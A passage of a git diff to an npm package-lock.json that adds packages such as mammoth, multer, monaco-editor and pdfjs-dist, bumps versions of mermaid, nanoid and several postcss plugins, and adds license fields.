"integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==",
- "dev": true
- },
- "node_modules/lodash.throttle": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz",
- "integrity": "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ=="
+ "dev": true,
+ "license": "MIT"
},
"node_modules/lodash.uniq": {
"version": "4.5.0",
@@ -30997,6 +32671,17 @@
"loose-envify": "cli.js"
}
},
+ "node_modules/lop": {
+ "version": "0.4.2",
+ "resolved": "https://registry.npmjs.org/lop/-/lop-0.4.2.tgz",
+ "integrity": "sha512-RefILVDQ4DKoRZsJ4Pj22TxE3omDO47yFpkIBoDKzkqPRISs5U1cnAdg/5583YPkWPaLIYHOKRMQSvjFsO26cw==",
+ "license": "BSD-2-Clause",
+ "dependencies": {
+ "duck": "^0.1.12",
+ "option": "~0.2.1",
+ "underscore": "^1.13.1"
+ }
+ },
"node_modules/lowlight": {
"version": "2.9.0",
"resolved": "https://registry.npmjs.org/lowlight/-/lowlight-2.9.0.tgz",
@@ -31106,6 +32791,48 @@
"tmpl": "1.0.5"
}
},
+ "node_modules/mammoth": {
+ "version": "1.11.0",
+ "resolved": "https://registry.npmjs.org/mammoth/-/mammoth-1.11.0.tgz",
+ "integrity": "sha512-BcEqqY/BOwIcI1iR5tqyVlqc3KIaMRa4egSoK83YAVrBf6+yqdAAbtUcFDCWX8Zef8/fgNZ6rl4VUv+vVX8ddQ==",
+ "license": "BSD-2-Clause",
+ "dependencies": {
+ "@xmldom/xmldom": "^0.8.6",
+ "argparse": "~1.0.3",
+ "base64-js": "^1.5.1",
+ "bluebird": "~3.4.0",
+ "dingbat-to-unicode": "^1.0.1",
+ "jszip": "^3.7.1",
+ "lop": "^0.4.2",
+ "path-is-absolute": "^1.0.0",
+ "underscore": "^1.13.1",
+ "xmlbuilder": "^10.0.0"
+ },
+ "bin": {
+ "mammoth": "bin/mammoth"
+ },
+ "engines": {
+ "node": ">=12.0.0"
+ }
+ },
+ "node_modules/mammoth/node_modules/argparse": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+ "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+ "license": "MIT",
+ "dependencies": {
+ "sprintf-js": "~1.0.2"
+ }
+ },
+ "node_modules/mammoth/node_modules/xmlbuilder": {
+ "version": "10.1.1",
+ "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-10.1.1.tgz",
+ "integrity": "sha512-OyzrcFLL/nb6fMGHbiRDuPup9ljBycsdCypwuyg5AAHvyWzGfChJpCXMG88AGTIMFhGZ9RccFN1e6lhg3hkwKg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=4.0"
+ }
+ },
"node_modules/markdown-table": {
"version": "3.0.4",
"resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz",
@@ -31175,19 +32902,6 @@
"node": ">= 18"
}
},
- "node_modules/mathjs/node_modules/fraction.js": {
- "version": "5.3.4",
- "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz",
- "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==",
- "license": "MIT",
- "engines": {
- "node": "*"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/rawify"
- }
- },
"node_modules/md5.js": {
"version": "1.3.5",
"resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz",
@@ -31890,27 +33604,28 @@
}
},
"node_modules/mermaid": {
- "version": "11.12.3",
- "resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.12.3.tgz",
- "integrity": "sha512-wN5ZSgJQIC+CHJut9xaKWsknLxaFBwCPwPkGTSUYrTiHORWvpT8RxGk849HPnpUAQ+/9BPRqYb80jTpearrHzQ==",
+ "version": "11.13.0",
+ "resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.13.0.tgz",
+ "integrity": "sha512-fEnci+Immw6lKMFI8sqzjlATTyjLkRa6axrEgLV2yHTfv8r+h1wjFbV6xeRtd4rUV1cS4EpR9rwp3Rci7TRWDw==",
"license": "MIT",
"dependencies": {
"@braintree/sanitize-url": "^7.1.1",
- "@iconify/utils": "^3.0.1",
- "@mermaid-js/parser": "^1.0.0",
+ "@iconify/utils": "^3.0.2",
+ "@mermaid-js/parser": "^1.0.1",
"@types/d3": "^7.4.3",
- "cytoscape": "^3.29.3",
+ "@upsetjs/venn.js": "^2.0.0",
+ "cytoscape": "^3.33.1",
"cytoscape-cose-bilkent": "^4.1.0",
"cytoscape-fcose": "^2.2.0",
"d3": "^7.9.0",
"d3-sankey": "^0.12.3",
- "dagre-d3-es": "7.0.13",
- "dayjs": "^1.11.18",
- "dompurify": "^3.2.5",
- "katex": "^0.16.22",
+ "dagre-d3-es": "7.0.14",
+ "dayjs": "^1.11.19",
+ "dompurify": "^3.3.1",
+ "katex": "^0.16.25",
"khroma": "^2.1.0",
"lodash-es": "^4.17.23",
- "marked": "^16.2.1",
+ "marked": "^16.3.0",
"roughjs": "^4.6.6",
"stylis": "^4.3.6",
"ts-dedent": "^2.2.0",
@@ -32543,9 +34258,9 @@
}
},
"node_modules/miller-rabin/node_modules/bn.js": {
- "version": "4.12.2",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
- "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+ "version": "4.12.3",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+ "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
"dev": true,
"license": "MIT"
},
@@ -32625,10 +34340,11 @@
"license": "MIT"
},
"node_modules/minimatch": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
- "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+ "version": "3.1.4",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.4.tgz",
+ "integrity": "sha512-twmL+S8+7yIsE9wsqgzU3E8/LumN3M3QELrBZ20OdmQ9jB2JvW5oZtBEmft84k/Gs5CG9mqtWc6Y9vW+JEzGxw==",
"dev": true,
+ "license": "ISC",
"dependencies": {
"brace-expansion": "^1.1.7"
},
@@ -32645,9 +34361,10 @@
}
},
"node_modules/minipass": {
- "version": "7.1.2",
- "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz",
- "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==",
+ "version": "7.1.3",
+ "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
+ "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
+ "license": "BlueOak-1.0.0",
"engines": {
"node": ">=16 || 14 >=14.17"
}
@@ -32695,6 +34412,28 @@
"node": "*"
}
},
+ "node_modules/monaco-editor": {
+ "version": "0.55.1",
+ "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz",
+ "integrity": "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A==",
+ "license": "MIT",
+ "dependencies": {
+ "dompurify": "3.2.7",
+ "marked": "14.0.0"
+ }
+ },
+ "node_modules/monaco-editor/node_modules/marked": {
+ "version": "14.0.0",
+ "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz",
+ "integrity": "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==",
+ "license": "MIT",
+ "bin": {
+ "marked": "bin/marked.js"
+ },
+ "engines": {
+ "node": ">= 18"
+ }
+ },
"node_modules/mongodb": {
"version": "6.14.2",
"resolved": "https://registry.npmjs.org/mongodb/-/mongodb-6.14.2.tgz",
@@ -32750,29 +34489,6 @@
"whatwg-url": "^14.1.0 || ^13.0.0"
}
},
- "node_modules/mongodb-connection-string-url/node_modules/tr46": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz",
- "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==",
- "dependencies": {
- "punycode": "^2.3.1"
- },
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/mongodb-connection-string-url/node_modules/whatwg-url": {
- "version": "14.2.0",
- "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz",
- "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==",
- "dependencies": {
- "tr46": "^5.1.0",
- "webidl-conversions": "^7.0.0"
- },
- "engines": {
- "node": ">=18"
- }
- },
"node_modules/mongodb-memory-server": {
"version": "10.1.4",
"resolved": "https://registry.npmjs.org/mongodb-memory-server/-/mongodb-memory-server-10.1.4.tgz",
@@ -32882,6 +34598,25 @@
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
},
+ "node_modules/multer": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/multer/-/multer-2.1.1.tgz",
+ "integrity": "sha512-mo+QTzKlx8R7E5ylSXxWzGoXoZbOsRMpyitcht8By2KHvMbf3tjwosZ/Mu/XYU6UuJ3VZnODIrak5ZrPiPyB6A==",
+ "license": "MIT",
+ "dependencies": {
+ "append-field": "^1.0.0",
+ "busboy": "^1.6.0",
+ "concat-stream": "^2.0.0",
+ "type-is": "^1.6.18"
+ },
+ "engines": {
+ "node": ">= 10.16.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
"node_modules/mustache": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/mustache/-/mustache-4.2.0.tgz",
@@ -32901,15 +34636,16 @@
}
},
"node_modules/nanoid": {
- "version": "3.3.8",
- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.8.tgz",
- "integrity": "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==",
+ "version": "3.3.11",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
+ "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/ai"
}
],
+ "license": "MIT",
"bin": {
"nanoid": "bin/nanoid.cjs"
},
@@ -33039,6 +34775,13 @@
"integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==",
"dev": true
},
+ "node_modules/node-readable-to-web-readable-stream": {
+ "version": "0.4.2",
+ "resolved": "https://registry.npmjs.org/node-readable-to-web-readable-stream/-/node-readable-to-web-readable-stream-0.4.2.tgz",
+ "integrity": "sha512-/cMZNI34v//jUTrI+UIo4ieHAB5EZRY/+7OmXZgBxaWBMcW2tGdceIw06RFxWxrKZ5Jp3sI2i5TsRo+CBhtVLQ==",
+ "license": "MIT",
+ "optional": true
+ },
"node_modules/node-releases": {
"version": "2.0.27",
"resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz",
@@ -33210,15 +34953,6 @@
"node": ">=0.10.0"
}
},
- "node_modules/normalize-range": {
- "version": "0.1.2",
- "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
- "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
"node_modules/normalize-url": {
"version": "6.1.0",
"resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz",
@@ -33258,10 +34992,11 @@
}
},
"node_modules/nwsapi": {
- "version": "2.2.7",
- "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz",
- "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==",
- "dev": true
+ "version": "2.2.23",
+ "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz",
+ "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==",
+ "dev": true,
+ "license": "MIT"
},
"node_modules/oauth": {
"version": "0.10.0",
@@ -33522,6 +35257,12 @@
"integrity": "sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw==",
"dev": true
},
+ "node_modules/option": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/option/-/option-0.2.4.tgz",
+ "integrity": "sha512-pkEqbDyl8ou5cpq+VsnQbe/WlEy5qS7xPzMS1U55OCG9KPvwFD46zDbxQIj3egJSFc3D+XhYOPUzz49zQAVy7A==",
+ "license": "BSD-2-Clause"
+ },
"node_modules/optionator": {
"version": "0.9.3",
"resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz",
@@ -33674,7 +35415,6 @@
"version": "1.0.11",
"resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
"integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==",
- "dev": true,
"license": "(MIT AND Zlib)"
},
"node_modules/parent-module": {
@@ -33953,7 +35693,6 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
"integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
- "dev": true,
"engines": {
"node": ">=0.10.0"
}
@@ -34032,16 +35771,17 @@
"node": ">= 0.10"
}
},
- "node_modules/peek-readable": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/peek-readable/-/peek-readable-5.0.0.tgz",
- "integrity": "sha512-YtCKvLUOvwtMGmrniQPdO7MwPjgkFBtFIrmfSbYmYuq3tKDV/mcfAhBth1+C3ru7uXIZasc/pHnb+YDYNkkj4A==",
+ "node_modules/pdfjs-dist": {
+ "version": "5.4.624",
+ "resolved": "https://registry.npmjs.org/pdfjs-dist/-/pdfjs-dist-5.4.624.tgz",
+ "integrity": "sha512-sm6TxKTtWv1Oh6n3C6J6a8odejb5uO4A4zo/2dgkHuC0iu8ZMAXOezEODkVaoVp8nX1Xzr+0WxFJJmUr45hQzg==",
+ "license": "Apache-2.0",
"engines": {
- "node": ">=14.16"
+ "node": ">=20.16.0 || >=22.3.0"
},
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/Borewit"
+ "optionalDependencies": {
+ "@napi-rs/canvas": "^0.1.88",
+ "node-readable-to-web-readable-stream": "^0.4.2"
}
},
"node_modules/pend": {
@@ -34258,9 +35998,9 @@
}
},
"node_modules/postcss": {
- "version": "8.5.3",
- "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.3.tgz",
- "integrity": "sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==",
+ "version": "8.5.8",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.8.tgz",
+ "integrity": "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==",
"funding": [
{
"type": "opencollective",
@@ -34277,7 +36017,7 @@
],
"license": "MIT",
"dependencies": {
- "nanoid": "^3.3.8",
+ "nanoid": "^3.3.11",
"picocolors": "^1.1.1",
"source-map-js": "^1.2.1"
},
@@ -34286,24 +36026,45 @@
}
},
"node_modules/postcss-attribute-case-insensitive": {
- "version": "6.0.2",
- "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-6.0.2.tgz",
- "integrity": "sha512-IRuCwwAAQbgaLhxQdQcIIK0dCVXg3XDUnzgKD8iwdiYdwU4rMWRWyl/W9/0nA4ihVpq5pyALiHB2veBJ0292pw==",
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-8.0.0.tgz",
+ "integrity": "sha512-fovIPEV35c2JzVXdmP+sp2xirbBMt54J+upU8u6TSj410kUU5+axgEzvBBSAX8KCybze8CFCelzFAw/FfWg2TA==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT",
"dependencies": {
- "postcss-selector-parser": "^6.0.10"
+ "postcss-selector-parser": "^7.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
+ "node_modules/postcss-attribute-case-insensitive/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
"node_modules/postcss-calc": {
"version": "8.2.4",
"resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz",
@@ -34334,9 +36095,9 @@
}
},
"node_modules/postcss-color-functional-notation": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-5.1.0.tgz",
- "integrity": "sha512-w2R4py6zrVE1U7FwNaAc76tNQlG9GLkrBbcFw+VhUjyDDiV28vfZG+l4LyPmpoQpeSJVtu8VgNjE8Jv5SpC7dQ==",
+ "version": "8.0.2",
+ "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-8.0.2.tgz",
+ "integrity": "sha512-tbmkk6teYpJzFcGwPIhN1gkvxqGHvNx2PMb8Y3S5Ktyn7xOlvD98XzQ99MFY5mAyvXWclDG+BgoJKYJXFJOp5Q==",
"dev": true,
"funding": [
{
@@ -34348,21 +36109,25 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/postcss-progressive-custom-properties": "^2.3.0",
- "postcss-value-parser": "^4.2.0"
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/postcss-color-hex-alpha": {
- "version": "9.0.3",
- "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-9.0.3.tgz",
- "integrity": "sha512-7sEHU4tAS6htlxun8AB9LDrCXoljxaC34tFVRlYKcvO+18r5fvGiXgv5bQzN40+4gXLCyWSMRK5FK31244WcCA==",
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-11.0.0.tgz",
+ "integrity": "sha512-NCGa6vjIyrjosz9GqRxVKbONBklz5TeipYqTJp3IqbnBWlBq5e5EMtG6MaX4vqk9LzocPfMQkuRK9tfk+OQuKg==",
"dev": true,
"funding": [
{
@@ -34374,30 +36139,40 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"dependencies": {
+ "@csstools/utilities": "^3.0.0",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/postcss-color-rebeccapurple": {
- "version": "8.0.2",
- "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-8.0.2.tgz",
- "integrity": "sha512-xWf/JmAxVoB5bltHpXk+uGRoGFwu4WDAR7210el+iyvTdqiKpDhtcT8N3edXMoVJY0WHFMrKMUieql/wRNiXkw==",
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-11.0.0.tgz",
+ "integrity": "sha512-g9561mx7cbdqx7XeO/L+lJzVlzu7bICyXr72efBVKZGxIhvBBJf9fGXn3Cb6U4Bwh3LbzQO2e9NWBLVYdX5Eag==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
+ "@csstools/utilities": "^3.0.0",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
@@ -34440,9 +36215,9 @@
}
},
"node_modules/postcss-custom-media": {
- "version": "9.1.5",
- "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-9.1.5.tgz",
- "integrity": "sha512-GStyWMz7Qbo/Gtw1xVspzVSX8eipgNg4lpsO3CAeY4/A1mzok+RV6MCv3fg62trWijh/lYEj6vps4o8JcBBpDA==",
+ "version": "12.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-12.0.1.tgz",
+ "integrity": "sha512-66syE14+VeqkUf0rRX0bvbTCbNRJF132jD+ceo8th1dap2YJEAqpdh5uG98CE3IbgHT7m9XM0GIlOazNWqQdeA==",
"dev": true,
"funding": [
{
@@ -34454,23 +36229,24 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"dependencies": {
- "@csstools/cascade-layer-name-parser": "^1.0.2",
- "@csstools/css-parser-algorithms": "^2.2.0",
- "@csstools/css-tokenizer": "^2.1.1",
- "@csstools/media-query-list-parser": "^2.1.1"
+ "@csstools/cascade-layer-name-parser": "^3.0.0",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/media-query-list-parser": "^5.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/postcss-custom-properties": {
- "version": "13.3.4",
- "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-13.3.4.tgz",
- "integrity": "sha512-9YN0gg9sG3OH+Z9xBrp2PWRb+O4msw+5Sbp3ZgqrblrwKspXVQe5zr5sVqi43gJGwW/Rv1A483PRQUzQOEewvA==",
+ "version": "15.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-15.0.1.tgz",
+ "integrity": "sha512-cuyq8sd8dLY0GLbelz1KB8IMIoDECo6RVXMeHeXY2Uw3Q05k/d1GVITdaKLsheqrHbnxlwxzSRZQQ5u+rNtbMg==",
"dev": true,
"funding": [
{
@@ -34482,23 +36258,25 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"dependencies": {
- "@csstools/cascade-layer-name-parser": "^1.0.7",
- "@csstools/css-parser-algorithms": "^2.5.0",
- "@csstools/css-tokenizer": "^2.2.3",
+ "@csstools/cascade-layer-name-parser": "^3.0.0",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/utilities": "^3.0.0",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/postcss-custom-selectors": {
- "version": "7.1.6",
- "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-7.1.6.tgz",
- "integrity": "sha512-svsjWRaxqL3vAzv71dV0/65P24/FB8TbPX+lWyyf9SZ7aZm4S4NhCn7N3Bg+Z5sZunG3FS8xQ80LrCU9hb37cw==",
+ "version": "9.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-9.0.1.tgz",
+ "integrity": "sha512-2XBELy4DmdVKimChfaZ2id9u9CSGYQhiJ53SvlfBvMTzLMW2VxuMb9rHsMSQw9kRq/zSbhT5x13EaK8JSmK8KQ==",
"dev": true,
"funding": [
{
@@ -34510,38 +36288,74 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"dependencies": {
- "@csstools/cascade-layer-name-parser": "^1.0.5",
- "@csstools/css-parser-algorithms": "^2.3.2",
- "@csstools/css-tokenizer": "^2.2.1",
- "postcss-selector-parser": "^6.0.13"
+ "@csstools/cascade-layer-name-parser": "^3.0.0",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "postcss-selector-parser": "^7.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
- "node_modules/postcss-dir-pseudo-class": {
- "version": "7.0.2",
- "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-7.0.2.tgz",
- "integrity": "sha512-cMnslilYxBf9k3qejnovrUONZx1rXeUZJw06fgIUBzABJe3D2LiLL5WAER7Imt3nrkaIgG05XZBztueLEf5P8w==",
+ "node_modules/postcss-custom-selectors/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "postcss-selector-parser": "^6.0.10"
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=4"
+ }
+ },
+ "node_modules/postcss-dir-pseudo-class": {
+ "version": "10.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-10.0.0.tgz",
+ "integrity": "sha512-DmtIzULpyC8XaH4b5AaUgt4Jic4QmrECqidNCdR7u7naQFdnxX80YI06u238a+ZVRXwURDxVzy0s/UQnWmpVeg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "postcss-selector-parser": "^7.1.1"
},
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
+ "node_modules/postcss-dir-pseudo-class/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
